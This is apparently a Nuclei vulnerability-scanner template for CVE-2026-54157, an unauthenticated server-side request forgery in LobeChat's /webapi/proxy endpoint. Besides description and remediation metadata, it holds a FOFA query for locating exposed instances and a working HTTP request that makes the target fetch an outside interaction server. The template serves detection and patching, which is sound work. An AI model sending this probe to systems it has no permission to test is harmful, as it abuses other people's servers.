CVE-2026-54157: LobeHub LobeChat <= 2.1.56 - Server-Side Request Forgery

id: CVE-2026-54157

info:
  name: LobeHub LobeChat <= 2.1.56 - Server-Side Request Forgery
  author: 0xj3st3r
  severity: medium
  description: |
    LobeHub LobeChat versions up to and including 2.1.56 are vulnerable to an unauthenticated server-side request forgery vulnerability in the /webapi/proxy endpoint. The endpoint accepts a URL in the POST request body and fetches it server-side without authentication.
  impact: |
    An unauthenticated attacker can cause the server to perform arbitrary outbound HTTP requests.
  remediation: |
    Upgrade LobeHub LobeChat to version 2.1.57 or later.
  reference:
    - https://github.com/lobehub/lobehub/security/advisories/GHSA-xmwj-c75x-6346
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54157
  classification:
    cve-id: CVE-2026-54157
    epss-score: 0.0183
    epss-percentile: 0.77776
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 2
    vendor: lobehub
    product: lobe-chat
    fofa-query: icon_hash="1975020705"
  tags: cve,cve2026,lobechat,ssrf,vuln,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /welcome HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "lobechat")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /webapi/proxy HTTP/1.1
        Host: {{Hostname}}

        http://oast.me

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<h1> Interactsh Server </h1>")'
        condition: and
# digest: 490a0046304402205995091ac3ee7f71ec058128ed08a388b95601168cc5e25d4d6b327833ff118f02203e19314944614102c455eaa5533ebab2f6d704bd3c9b915998658cc8e26ce7a8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.